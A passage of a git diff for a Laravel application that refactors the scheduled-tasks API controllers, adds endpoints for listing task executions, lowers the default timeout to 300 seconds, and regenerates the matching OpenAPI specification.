invalidTokenResponse(); } - $application = Application::whereRelation('environment.project.team', 'id', $teamId)->where('uuid', $request->uuid)->first(); + $application = $this->resolveApplication($request, $teamId); if (! $application) { return response()->json(['message' => 'Application not found.'], 404); } - $tasks = $application->scheduled_tasks->map(function ($task) { - return $this->removeSensitiveData($task); - }); - - return response()->json($tasks); + return $this->listTasks($application); } #[OA\Post( @@ -218,7 +284,7 @@ public function scheduled_tasks_by_application_uuid(Request $request) 'command' => ['type' => 'string', 'description' => 'The command to execute.'], 'frequency' => ['type' => 'string', 'description' => 'The frequency of the scheduled task.'], 'container' => ['type' => 'string', 'nullable' => true, 'description' => 'The container where the command should be executed.'], - 'timeout' => ['type' => 'integer', 'description' => 'The timeout of the scheduled task in seconds.', 'default' => 3600], + 'timeout' => ['type' => 'integer', 'description' => 'The timeout of the scheduled task in seconds.', 'default' => 300], 'enabled' => ['type' => 'boolean', 'description' => 'The flag to indicate if the scheduled task is enabled.', 'default' => true], ], ), @@ -249,19 +315,106 @@ public function scheduled_tasks_by_application_uuid(Request $request) ), ] )] - public function create_scheduled_task_by_application_uuid(Request $request) + public function create_scheduled_task_by_application_uuid(Request $request): \Illuminate\Http\JsonResponse { $teamId = getTeamIdFromToken(); if (is_null($teamId)) { return invalidTokenResponse(); } - $application = Application::whereRelation('environment.project.team', 'id', $teamId)->where('uuid', $request->uuid)->first(); + $application = $this->resolveApplication($request, $teamId); if (! $application) { return response()->json(['message' => 'Application not found.'], 404); } - return $this->create_scheduled_task($request, $application); + return $this->createTask($request, $application); + } + + #[OA\Patch( + summary: 'Update Task', + description: 'Update a scheduled task for an application.', + path: '/applications/{uuid}/scheduled-tasks/{task_uuid}', + operationId: 'update-scheduled-task-by-application-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Scheduled Tasks'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the application.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + new OA\Parameter( + name: 'task_uuid', + in: 'path', + description: 'UUID of the scheduled task.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + requestBody: new OA\RequestBody( + description: 'Scheduled task data', + required: true, + content: new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + properties: [ + 'name' => ['type' => 'string', 'description' => 'The name of the scheduled task.'], + 'command' => ['type' => 'string', 'description' => 'The command to execute.'], + 'frequency' => ['type' => 'string', 'description' => 'The frequency of the scheduled task.'], + 'container' => ['type' => 'string', 'nullable' => true, 'description' => 'The container where the command should be executed.'], + 'timeout' => ['type' => 'integer', 'description' => 'The timeout of the scheduled task in seconds.', 'default' => 300], + 'enabled' => ['type' => 'boolean', 'description' => 'The flag to indicate if the scheduled task is enabled.', 'default' => true], + ], + ), + ) + ), + responses: [ + new OA\Response( + response: 200, + description: 'Scheduled task updated.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema(ref: '#/components/schemas/ScheduledTask') + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), + ] + )] + public function update_scheduled_task_by_application_uuid(Request $request): \Illuminate\Http\JsonResponse + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $application = $this->resolveApplication($request, $teamId); + if (! $application) { + return response()->json(['message' => 'Application not found.'], 404); + } + + return $this->updateTask($request, $application); } #[OA\Delete( @@ -319,33 +472,26 @@ public function create_scheduled_task_by_application_uuid(Request $request) ), ] )] - public function delete_scheduled_task_by_application_uuid(Request $request) + public function delete_scheduled_task_by_application_uuid(Request $request): \Illuminate\Http\JsonResponse { $teamId = getTeamIdFromToken(); if (is_null($teamId)) { return invalidTokenResponse(); } - $application = Application::whereRelation('environment.project.team', 'id', $teamId)->where('uuid', $request->uuid)->first(); + $application = $this->resolveApplication($request, $teamId); if (! $application) { return response()->json(['message' => 'Application not found.'], 404); } - $task = $application->scheduled_tasks()->where('uuid', $request->task_uuid)->first(); - if (! $task) { - return response()->json(['message' => 'Scheduled task not found.'], 404); - } - - $task->delete(); - - return response()->json(['message' => 'Scheduled task deleted.']); + return $this->deleteTask($request, $application); } - #[OA\Patch( - summary: 'Update Task', - description: 'Update a scheduled task for an application.', - path: '/applications/{uuid}/scheduled-tasks/{task_uuid}', - operationId: 'update-scheduled-task-by-application-uuid', + #[OA\Get( + summary: 'List Executions', + description: 'List all executions for a scheduled task on an application.', + path: '/applications/{uuid}/scheduled-tasks/{task_uuid}/executions', + operationId: 'list-scheduled-task-executions-by-application-uuid', security: [ ['bearerAuth' => []], ], @@ -370,32 +516,17 @@ public function delete_scheduled_task_by_application_uuid(Request $request) ) ), ], - requestBody: new OA\RequestBody( - description: 'Scheduled task data', - required: true, - content: new OA\MediaType( - mediaType: 'application/json', - schema: new OA\Schema( - type: 'object', - properties: [ - 'name' => ['type' => 'string', 'description' => 'The name of the scheduled task.'], - 'command' => ['type' => 'string', 'description' => 'The command to execute.'], - 'frequency' => ['type' => 'string', 'description' => 'The frequency of the scheduled task.'], - 'container' => ['type' => 'string', 'nullable' => true, 'description' => 'The container where the command should be executed.'], - 'timeout' => ['type' => 'integer', 'description' => 'The timeout of the scheduled task in seconds.', 'default' => 3600], - 'enabled' => ['type' => 'boolean', 'description' => 'The flag to indicate if the scheduled task is enabled.', 'default' => true], - ], - ), - ) - ), responses: [ new OA\Response( response: 200, - description: 'Scheduled task updated.', + description: 'Get all executions for a scheduled task.', content: [ new OA\MediaType( mediaType: 'application/json', - schema: new OA\Schema(ref: '#/components/schemas/ScheduledTask') + schema: new OA\Schema( + type: 'array', + items: new OA\Items(ref: '#/components/schemas/ScheduledTaskExecution') + ) ), ] ), @@ -407,25 +538,21 @@ public function delete_scheduled_task_by_application_uuid(Request $request) response: 404, ref: '#/components/responses/404', ), - new OA\Response( - response: 422, - ref: '#/components/responses/422', - ), ] )] - public function update_scheduled_task_by_application_uuid(Request $request) + public function executions_by_application_uuid(Request $request): \Illuminate\Http\JsonResponse { $teamId = getTeamIdFromToken(); if (is_null($teamId)) { return invalidTokenResponse(); } - $application = Application::whereRelation('environment.project.team', 'id', $teamId)->where('uuid', $request->uuid)->first(); + $application = $this->resolveApplication($request, $teamId); if (! $application) { return response()->json(['message' => 'Application not found.'], 404); } - return $this->update_scheduled_task($request, $application); + return $this->getExecutions($request, $application); } #[OA\Get( @@ -472,23 +599,19 @@ public function update_scheduled_task_by_application_uuid(Request $request) ), ] )] - public function scheduled_tasks_by_service_uuid(Request $request) + public function scheduled_tasks_by_service_uuid(Request $request): \Illuminate\Http\JsonResponse { $teamId = getTeamIdFromToken(); if (is_null($teamId)) { return invalidTokenResponse(); } - $service = Service::whereRelation('environment.project.team', 'id', $teamId)->where('uuid', $request->uuid)->first(); + $service = $this->resolveService($request, $teamId); if (! $service) { return response()->json(['message' => 'Service not found.'], 404); } - $tasks = $service->scheduled_tasks->map(function ($task) { - return $this->removeSensitiveData($task); - }); - - return response()->json($tasks); + return $this->listTasks($service); } #[OA\Post( @@ -524,7 +647,7 @@ public function scheduled_tasks_by_service_uuid(Request $request) 'command' => ['type' => 'string', 'description' => 'The command to execute.'], 'frequency' => ['type' => 'string', 'description' => 'The frequency of the scheduled task.'], 'container' => ['type' => 'string', 'nullable' => true, 'description' => 'The container where the command should be executed.'], - 'timeout' => ['type' => 'integer', 'description' => 'The timeout of the scheduled task in seconds.', 'default' => 3600], + 'timeout' => ['type' => 'integer', 'description' => 'The timeout of the scheduled task in seconds.', 'default' => 300], 'enabled' => ['type' => 'boolean', 'description' => 'The flag to indicate if the scheduled task is enabled.', 'default' => true], ], ), @@ -555,19 +678,106 @@ public function scheduled_tasks_by_service_uuid(Request $request) ), ] )] - public function create_scheduled_task_by_service_uuid(Request $request) + public function create_scheduled_task_by_service_uuid(Request $request): \Illuminate\Http\JsonResponse { $teamId = getTeamIdFromToken(); if (is_null($teamId)) { return invalidTokenResponse(); } - $service = Service::whereRelation('environment.project.team', 'id', $teamId)->where('uuid', $request->uuid)->first(); + $service = $this->resolveService($request, $teamId); if (! $service) { return response()->json(['message' => 'Service not found.'], 404); } - return $this->create_scheduled_task($request, $service); + return $this->createTask($request, $service); + } + + #[OA\Patch( + summary: 'Update Task', + description: 'Update a scheduled task for a service.', + path: '/services/{uuid}/scheduled-tasks/{task_uuid}', + operationId: 'update-scheduled-task-by-service-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Scheduled Tasks'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the service.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + new OA\Parameter( + name: 'task_uuid', + in: 'path', + description: 'UUID of the scheduled task.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + requestBody: new OA\RequestBody( + description: 'Scheduled task data', + required: true, + content: new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + properties: [ + 'name' => ['type' => 'string', 'description' => 'The name of the scheduled task.'], + 'command' => ['type' => 'string', 'description' => 'The command to execute.'], + 'frequency' => ['type' => 'string', 'description' => 'The frequency of the scheduled task.'], + 'container' => ['type' => 'string', 'nullable' => true, 'description' => 'The container where the command should be executed.'], + 'timeout' => ['type' => 'integer', 'description' => 'The timeout of the scheduled task in seconds.', 'default' => 300], + 'enabled' => ['type' => 'boolean', 'description' => 'The flag to indicate if the scheduled task is enabled.', 'default' => true], + ], + ), + ) + ), + responses: [ + new OA\Response( + response: 200, + description: 'Scheduled task updated.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema(ref: '#/components/schemas/ScheduledTask') + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), + ] + )] + public function update_scheduled_task_by_service_uuid(Request $request): \Illuminate\Http\JsonResponse + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $service = $this->resolveService($request, $teamId); + if (! $service) { + return response()->json(['message' => 'Service not found.'], 404); + } + + return $this->updateTask($request, $service); } #[OA\Delete( @@ -625,33 +835,26 @@ public function create_scheduled_task_by_service_uuid(Request $request) ), ] )] - public function delete_scheduled_task_by_service_uuid(Request $request) + public function delete_scheduled_task_by_service_uuid(Request $request): \Illuminate\Http\JsonResponse { $teamId = getTeamIdFromToken(); if (is_null($teamId)) { return invalidTokenResponse(); } - $service = Service::whereRelation('environment.project.team', 'id', $teamId)->where('uuid', $request->uuid)->first(); + $service = $this->resolveService($request, $teamId); if (! $service) { return response()->json(['message' => 'Service not found.'], 404); } - $task = $service->scheduled_tasks()->where('uuid', $request->task_uuid)->first(); - if (! $task) { - return response()->json(['message' => 'Scheduled task not found.'], 404); - } - - $task->delete(); - - return response()->json(['message' => 'Scheduled task deleted.']); + return $this->deleteTask($request, $service); } - #[OA\Patch( - summary: 'Update Task', - description: 'Update a scheduled task for a service.', - path: '/services/{uuid}/scheduled-tasks/{task_uuid}', - operationId: 'update-scheduled-task-by-service-uuid', + #[OA\Get( + summary: 'List Executions', + description: 'List all executions for a scheduled task on a service.', + path: '/services/{uuid}/scheduled-tasks/{task_uuid}/executions', + operationId: 'list-scheduled-task-executions-by-service-uuid', security: [ ['bearerAuth' => []], ], @@ -676,32 +879,17 @@ public function delete_scheduled_task_by_service_uuid(Request $request) ) ), ], - requestBody: new OA\RequestBody( - description: 'Scheduled task data', - required: true, - content: new OA\MediaType( - mediaType: 'application/json', - schema: new OA\Schema( - type: 'object', - properties: [ - 'name' => ['type' => 'string', 'description' => 'The name of the scheduled task.'], - 'command' => ['type' => 'string', 'description' => 'The command to execute.'], - 'frequency' => ['type' => 'string', 'description' => 'The frequency of the scheduled task.'], - 'container' => ['type' => 'string', 'nullable' => true, 'description' => 'The container where the command should be executed.'], - 'timeout' => ['type' => 'integer', 'description' => 'The timeout of the scheduled task in seconds.', 'default' => 3600], - 'enabled' => ['type' => 'boolean', 'description' => 'The flag to indicate if the scheduled task is enabled.', 'default' => true], - ], - ), - ) - ), responses: [ new OA\Response( response: 200, - description: 'Scheduled task updated.', + description: 'Get all executions for a scheduled task.', content: [ new OA\MediaType( mediaType: 'application/json', - schema: new OA\Schema(ref: '#/components/schemas/ScheduledTask') + schema: new OA\Schema( + type: 'array', + items: new OA\Items(ref: '#/components/schemas/ScheduledTaskExecution') + ) ), ] ), @@ -713,24 +901,20 @@ public function delete_scheduled_task_by_service_uuid(Request $request) response: 404, ref: '#/components/responses/404', ), - new OA\Response( - response: 422, - ref: '#/components/responses/422', - ), ] )] - public function update_scheduled_task_by_service_uuid(Request $request) + public function executions_by_service_uuid(Request $request): \Illuminate\Http\JsonResponse { $teamId = getTeamIdFromToken(); if (is_null($teamId)) { return invalidTokenResponse(); } - $service = Service::whereRelation('environment.project.team', 'id', $teamId)->where('uuid', $request->uuid)->first(); + $service = $this->resolveService($request, $teamId); if (! $service) { return response()->json(['message' => 'Service not found.'], 404); } - return $this->update_scheduled_task($request, $service); + return $this->getExecutions($request, $service); } } diff --git a/app/Models/ScheduledTask.php b/app/Models/ScheduledTask.php index f4b021f27..272638a81 100644 --- a/app/Models/ScheduledTask.php +++ b/app/Models/ScheduledTask.php @@ -29,6 +29,11 @@ class ScheduledTask extends BaseModel protected $guarded = []; + public static function ownedByCurrentTeamAPI(int $teamId) + { + return static::where('team_id', $teamId)->orderBy('created_at', 'desc'); + } + protected function casts(): array { return [ diff --git a/app/Models/ScheduledTaskExecution.php b/app/Models/ScheduledTaskExecution.php index 02fd6917a..c0601a4c9 100644 --- a/app/Models/ScheduledTaskExecution.php +++ b/app/Models/ScheduledTaskExecution.php @@ -3,7 +3,23 @@ namespace App\Models; use Illuminate\Database\Eloquent\Relations\BelongsTo; +use OpenApi\Attributes as OA; +#[OA\Schema( + description: 'Scheduled Task Execution model', + type: 'object', + properties: [ + 'uuid' => ['type' => 'string', 'description' => 'The unique identifier of the execution.'], + 'status' => ['type' => 'string', 'enum' => ['success', 'failed', 'running'], 'description' => 'The status of the execution.'], + 'message' => ['type' => 'string', 'nullable' => true, 'description' => 'The output message of the execution.'], + 'retry_count' => ['type' => 'integer', 'description' => 'The number of retries.'], + 'duration' => ['type' => 'number', 'nullable' => true, 'description' => 'Duration in seconds.'], + 'started_at' => ['type' => 'string', 'format' => 'date-time', 'nullable' => true, 'description' => 'When the execution started.'], + 'finished_at' => ['type' => 'string', 'format' => 'date-time', 'nullable' => true, 'description' => 'When the execution finished.'], + 'created_at' => ['type' => 'string', 'format' => 'date-time', 'description' => 'When the record was created.'], + 'updated_at' => ['type' => 'string', 'format' => 'date-time', 'description' => 'When the record was last updated.'], + ], +)] class ScheduledTaskExecution extends BaseModel { protected $guarded = []; diff --git a/database/factories/ScheduledTaskFactory.php b/database/factories/ScheduledTaskFactory.php new file mode 100644 index 000000000..5f6519288 --- /dev/null +++ b/database/factories/ScheduledTaskFactory.php @@ -0,0 +1,20 @@ + fake()->word(), + 'command' => 'echo hello', + 'frequency' => '* * * * *', + 'timeout' => 300, + 'enabled' => true, + 'team_id' => 1, + ]; + } +} diff --git a/openapi.json b/openapi.json index ef71fb5da..d3bf08e30 100644 --- a/openapi.json +++ b/openapi.json @@ -3433,296 +3433,6 @@ ] } }, - "\/applications\/{uuid}\/scheduled-tasks": { - "get": { - "tags": [ - "Scheduled Tasks" - ], - "summary": "List Tasks", - "description": "List all scheduled tasks for an application.", - "operationId": "list-scheduled-tasks-by-application-uuid", - "parameters": [ - { - "name": "uuid", - "in": "path", - "description": "UUID of the application.", - "required": true, - "schema": { - "type": "string" - } - } - ], - "responses": { - "200": { - "description": "Get all scheduled tasks for an application.", - "content": { - "application\/json": { - "schema": { - "type": "array", - "items": { - "$ref": "#\/components\/schemas\/ScheduledTask" - } - } - } - } - }, - "401": { - "$ref": "#\/components\/responses\/401" - }, - "404": { - "$ref": "#\/components\/responses\/404" - } - }, - "security": [ - { - "bearerAuth": [] - } - ] - }, - "post": { - "tags": [ - "Scheduled Tasks" - ], - "summary": "Create Tasks", - "description": "Create a new scheduled task for an application.", - "operationId": "create-scheduled-task-by-application-uuid", - "parameters": [ - { - "name": "uuid", - "in": "path", - "description": "UUID of the application.", - "required": true, - "schema": { - "type": "string" - } - } - ], - "requestBody": { - "description": "Scheduled task data", - "required": true, - "content": { - "application\/json": { - "schema": { - "required": [ - "name", - "command", - "frequency" - ], - "properties": { - "name": { - "type": "string", - "description": "The name of the scheduled task." - }, - "command": { - "type": "string", - "description": "The command to execute." - }, - "frequency": { - "type": "string", - "description": "The frequency of the scheduled task." - }, - "container": { - "type": "string", - "nullable": true, - "description": "The container where the command should be executed." - }, - "timeout": { - "type": "integer", - "description": "The timeout of the scheduled task in seconds.", - "default": 3600 - }, - "enabled": { - "type": "boolean", - "description": "The flag to indicate if the scheduled task is enabled.", - "default": true - } - }, - "type": "object" - } - } - } - }, - "responses": { - "201": { - "description": "Scheduled task created.", - "content": { - "application\/json": { - "schema": { - "$ref": "#\/components\/schemas\/ScheduledTask" - } - } - } - }, - "401": { - "$ref": "#\/components\/responses\/401" - }, - "404": { - "$ref": "#\/components\/responses\/404" - }, - "422": { - "$ref": "#\/components\/responses\/422" - } - }, - "security": [ - { - "bearerAuth": [] - } - ] - } - }, - "\/applications\/{uuid}\/scheduled-tasks\/{task_uuid}": { - "patch": { - "tags": [ - "Scheduled Tasks" - ], - "summary": "Update Task", - "description": "Update a scheduled task for an application.", - "operationId": "update-scheduled-task-by-application-uuid", - "parameters": [ - { - "name": "uuid", - "in": "path", - "description": "UUID of the application.", - "required": true, - "schema": { - "type": "string" - } - }, - { - "name": "task_uuid", - "in": "path", - "description": "UUID of the scheduled task.", - "required": true, - "schema": { - "type": "string" - } - } - ], - "requestBody": { - "description": "Scheduled task data", - "required": true, - "content": { - "application\/json": { - "schema": { - "properties": { - "name": { - "type": "string", - "description": "The name of the scheduled task." - }, - "command": { - "type": "string", - "description": "The command to execute." - }, - "frequency": { - "type": "string", - "description": "The frequency of the scheduled task." - }, - "container": { - "type": "string", - "nullable": true, - "description": "The container where the command should be executed." - }, - "timeout": { - "type": "integer", - "description": "The timeout of the scheduled task in seconds.", - "default": 3600 - }, - "enabled": { - "type": "boolean", - "description": "The flag to indicate if the scheduled task is enabled.", - "default": true - } - }, - "type": "object" - } - } - } - }, - "responses": { - "200": { - "description": "Scheduled task updated.", - "content": { - "application\/json": { - "schema": { - "$ref": "#\/components\/schemas\/ScheduledTask" - } - } - } - }, - "401": { - "$ref": "#\/components\/responses\/401" - }, - "404": { - "$ref": "#\/components\/responses\/404" - }, - "422": { - "$ref": "#\/components\/responses\/422" - } - }, - "security": [ - { - "bearerAuth": [] - } - ] - }, - "delete": { - "tags": [ - "Scheduled Tasks" - ], - "summary": "Delete Task", - "description": "Delete a scheduled task for an application.", - "operationId": "delete-scheduled-task-by-application-uuid", - "parameters": [ - { - "name": "uuid", - "in": "path", - "description": "UUID of the application.", - "required": true, - "schema": { - "type": "string" - } - }, - { - "name": "task_uuid", - "in": "path", - "description": "UUID of the scheduled task.", - "required": true, - "schema": { - "type": "string" - } - } - ], - "responses": { - "200": { - "description": "Scheduled task deleted.", - "content": { - "application\/json": { - "schema": { - "properties": { - "message": { - "type": "string", - "example": "Scheduled task deleted." - } - }, - "type": "object" - } - } - } - }, - "401": { - "$ref": "#\/components\/responses\/401" - }, - "404": { - "$ref": "#\/components\/responses\/404" - } - }, - "security": [ - { - "bearerAuth": [] - } - ] - } - }, "\/cloud-tokens": { "get": { "tags": [ @@ -8339,6 +8049,698 @@ ] } }, + "\/applications\/{uuid}\/scheduled-tasks": { + "get": { + "tags": [ + "Scheduled Tasks" + ], + "summary": "List Tasks", + "description": "List all scheduled tasks for an application.", + "operationId": "list-scheduled-tasks-by-application-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the application.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Get all scheduled tasks for an application.", + "content": { + "application\/json": { + "schema": { + "type": "array", + "items": { + "$ref": "#\/components\/schemas\/ScheduledTask" + } + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "404": { + "$ref": "#\/components\/responses\/404" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + }, + "post": { + "tags": [ + "Scheduled Tasks" + ], + "summary": "Create Task", + "description": "Create a new scheduled task for an application.", + "operationId": "create-scheduled-task-by-application-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the application.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "requestBody": { + "description": "Scheduled task data", + "required": true, + "content": { + "application\/json": { + "schema": { + "required": [ + "name", + "command", + "frequency" + ], + "properties": { + "name": { + "type": "string", + "description": "The name of the scheduled task." + }, + "command": { + "type": "string", + "description": "The command to execute." + }, + "frequency": { + "type": "string", + "description": "The frequency of the scheduled task." + }, + "container": { + "type": "string", + "nullable": true, + "description": "The container where the command should be executed." + }, + "timeout": { + "type": "integer", + "description": "The timeout of the scheduled task in seconds.", + "default": 300 + }, + "enabled": { + "type": "boolean", + "description": "The flag to indicate if the scheduled task is enabled.", + "default": true + } + }, + "type": "object" + } + } + } + }, + "responses": { + "201": { + "description": "Scheduled task created.", + "content": { + "application\/json": { + "schema": { + "$ref": "#\/components\/schemas\/ScheduledTask" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "404": { + "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, + "\/applications\/{uuid}\/scheduled-tasks\/{task_uuid}": { + "delete": { + "tags": [ + "Scheduled Tasks" + ], + "summary": "Delete Task", + "description": "Delete a scheduled task for an application.", + "operationId": "delete-scheduled-task-by-application-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the application.", + "required": true, + "schema": { + "type": "string" + } + }, + { + "name": "task_uuid", + "in": "path", + "description": "UUID of the scheduled task.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Scheduled task deleted.", + "content": { + "application\/json": { + "schema": { + "properties": { + "message": { + "type": "string", + "example": "Scheduled task deleted." + } + }, + "type": "object" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "404": { + "$ref": "#\/components\/responses\/404" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + }, + "patch": { + "tags": [ + "Scheduled Tasks" + ], + "summary": "Update Task", + "description": "Update a scheduled task for an application.", + "operationId": "update-scheduled-task-by-application-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the application.", + "required": true, + "schema": { + "type": "string" + } + }, + { + "name": "task_uuid", + "in": "path", + "description": "UUID of the scheduled task.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "requestBody": { + "description": "Scheduled task data", + "required": true, + "content": { + "application\/json": { + "schema": { + "properties": { + "name": { + "type": "string", + "description": "The name of the scheduled task." + }, + "command": { + "type": "string", + "description": "The command to execute." + }, + "frequency": { + "type": "string", + "description": "The frequency of the scheduled task." + }, + "container": { + "type": "string", + "nullable": true, + "description": "The container where the command should be executed." + }, + "timeout": { + "type": "integer", + "description": "The timeout of the scheduled task in seconds.", + "default": 300 + }, + "enabled": { + "type": "boolean", + "description": "The flag to indicate if the scheduled task is enabled.", + "default": true + } + }, + "type": "object" + } + } + } + }, + "responses": { + "200": { + "description": "Scheduled task updated.", + "content": { + "application\/json": { + "schema": { + "$ref": "#\/components\/schemas\/ScheduledTask" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "404": { + "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, + "\/applications\/{uuid}\/scheduled-tasks\/{task_uuid}\/executions": { + "get": { + "tags": [ + "Scheduled Tasks" + ], + "summary": "List Executions", + "description": "List all executions for a scheduled task on an application.", + "operationId": "list-scheduled-task-executions-by-application-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the application.", + "required": true, + "schema": { + "type": "string" + } + }, + { + "name": "task_uuid", + "in": "path", + "description": "UUID of the scheduled task.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Get all executions for a scheduled task.", + "content": { + "application\/json": { + "schema": { + "type": "array", + "items": { + "$ref": "#\/components\/schemas\/ScheduledTaskExecution" + } + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "404": { + "$ref": "#\/components\/responses\/404" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, + "\/services\/{uuid}\/scheduled-tasks": { + "get": { + "tags": [ + "Scheduled Tasks" + ], + "summary": "List Tasks", + "description": "List all scheduled tasks for a service.", + "operationId": "list-scheduled-tasks-by-service-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the service.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Get all scheduled tasks for a service.", + "content": { + "application\/json": { + "schema": { + "type": "array", + "items": { + "$ref": "#\/components\/schemas\/ScheduledTask" + } + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "404": { + "$ref": "#\/components\/responses\/404" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + }, + "post": { + "tags": [ + "Scheduled Tasks" + ], + "summary": "Create Task", + "description": "Create a new scheduled task for a service.", + "operationId": "create-scheduled-task-by-service-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the service.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "requestBody": { + "description": "Scheduled task data", + "required": true, + "content": { + "application\/json": { + "schema": { + "required": [ + "name", + "command", + "frequency" + ], + "properties": { + "name": { + "type": "string", + "description": "The name of the scheduled task." + }, + "command": { + "type": "string", + "description": "The command to execute." + }, + "frequency": { + "type": "string", + "description": "The frequency of the scheduled task." + }, + "container": { + "type": "string", + "nullable": true, + "description": "The container where the command should be executed." + }, + "timeout": { + "type": "integer", + "description": "The timeout of the scheduled task in seconds.", + "default": 300 + }, + "enabled": { + "type": "boolean", + "description": "The flag to indicate if the scheduled task is enabled.", + "default": true + } + }, + "type": "object" + } + } + } + }, + "responses": { + "201": { + "description": "Scheduled task created.", + "content": { + "application\/json": { + "schema": { + "$ref": "#\/components\/schemas\/ScheduledTask" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "404": { + "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, + "\/services\/{uuid}\/scheduled-tasks\/{task_uuid}": { + "delete": { + "tags": [ + "Scheduled Tasks" + ], + "summary": "Delete Task", + "description": "Delete a scheduled task for a service.", + "operationId": "delete-scheduled-task-by-service-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the service.", + "required": true, + "schema": { + "type": "string" + } + }, + { + "name": "task_uuid", + "in": "path", + "description": "UUID of the scheduled task.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Scheduled task deleted.", + "content": { + "application\/json": { + "schema": { + "properties": { + "message": { + "type": "string", + "example": "Scheduled task deleted." + } + }, + "type": "object" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "404": { + "$ref": "#\/components\/responses\/404" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + }, + "patch": { + "tags": [ + "Scheduled Tasks" + ], + "summary": "Update Task", + "description": "Update a scheduled task for a service.", + "operationId": "update-scheduled-task-by-service-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the service.", + "required": true, + "schema": { + "type": "string" + } + }, + { + "name": "task_uuid", + "in": "path", + "description": "UUID of the scheduled task.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "requestBody": { + "description": "Scheduled task data", + "required": true, + "content": { + "application\/json": { + "schema": { + "properties": { + "name": { + "type": "string", + "description": "The name of the scheduled task." + }, + "command": { + "type": "string", + "description": "The command to execute." + }, + "frequency": { + "type": "string", + "description": "The frequency of the scheduled task." + }, + "container": { + "type": "string", + "nullable": true, + "description": "The container where the command should be executed." + }, + "timeout": { + "type": "integer", + "description": "The timeout of the scheduled task in seconds.", + "default": 300 + }, + "enabled": { + "type": "boolean", + "description": "The flag to indicate if the scheduled task is enabled.", + "default": true + } + }, + "type": "object" + } + } + } + }, + "responses": { + "200": { + "description": "Scheduled task updated.", + "content": { + "application\/json": { + "schema": { + "$ref": "#\/components\/schemas\/ScheduledTask" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "404": { + "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, + "\/services\/{uuid}\/scheduled-tasks\/{task_uuid}\/executions": { + "get": { + "tags": [ + "Scheduled Tasks" + ], + "summary": "List Executions", + "description": "List all executions for a scheduled task on a service.", + "operationId": "list-scheduled-task-executions-by-service-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the service.", + "required": true, + "schema": { + "type": "string" + } + }, + { + "name": "task_uuid", + "in": "path", + "description": "UUID of the scheduled task.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Get all executions for a scheduled task.", + "content": { + "application\/json": { + "schema": { + "type": "array", + "items": { + "$ref": 